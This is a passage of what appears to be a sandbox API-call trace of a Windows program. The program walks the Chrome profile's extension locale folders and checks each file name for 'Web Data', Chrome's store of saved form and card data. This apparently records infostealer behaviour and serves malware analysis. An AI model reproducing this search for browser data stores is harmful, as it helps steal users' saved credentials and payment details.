Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.296] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja" [0056.296] LocalFree (hMem=0x2daca0) returned 0x0 [0056.296] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja") returned 133 [0056.296] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja") returned 133 [0056.296] lstrlenA (lpString="\\*.*") returned 4 [0056.296] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.296] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja" [0056.296] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*" [0056.296] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.296] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.296] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.296] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.296] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.296] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.296] LocalFree (hMem=0x2daec0) returned 0x0 [0056.297] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.297] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.297] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.297] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.297] lstrlenA (lpString="\\") returned 1 [0056.297] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.297] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.297] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.297] lstrlenA (lpString="ko") returned 2 [0056.297] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.297] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.297] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko" [0056.297] LocalFree (hMem=0x2daca0) returned 0x0 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko") returned 133 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko") returned 133 [0056.297] lstrlenA (lpString="\\*.*") returned 4 [0056.297] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.297] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko" [0056.297] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*" [0056.297] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.297] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.297] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.297] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.297] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.297] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.297] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.297] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.297] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.297] LocalFree (hMem=0x2daec0) returned 0x0 [0056.297] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.297] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.297] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.297] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.297] lstrlenA (lpString="\\") returned 1 [0056.297] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.297] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.297] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.297] lstrlenA (lpString="lt") returned 2 [0056.297] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.297] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.297] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt" [0056.297] LocalFree (hMem=0x2daca0) returned 0x0 [0056.297] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt") returned 133 [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt") returned 133 [0056.298] lstrlenA (lpString="\\*.*") returned 4 [0056.298] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.298] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt" [0056.298] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*" [0056.298] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.298] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.298] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.298] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.298] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.298] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.298] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.298] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.298] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.298] LocalFree (hMem=0x2daec0) returned 0x0 [0056.298] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.298] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.298] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.298] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.298] lstrlenA (lpString="\\") returned 1 [0056.298] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.298] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.298] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.298] lstrlenA (lpString="lv") returned 2 [0056.298] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.298] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.298] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv" [0056.298] LocalFree (hMem=0x2daca0) returned 0x0 [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv") returned 133 [0056.298] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv") returned 133 [0056.298] lstrlenA (lpString="\\*.*") returned 4 [0056.298] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.298] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv" [0056.298] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*" [0056.298] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.298] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.298] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.298] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.299] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.299] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.299] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.299] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.299] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.299] LocalFree (hMem=0x2daec0) returned 0x0 [0056.299] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.299] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.299] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0056.299] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.299] lstrlenA (lpString="\\") returned 1 [0056.299] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.299] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.299] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.299] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.299] lstrlenA (lpString="nl") returned 2 [0056.299] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.299] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.299] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK 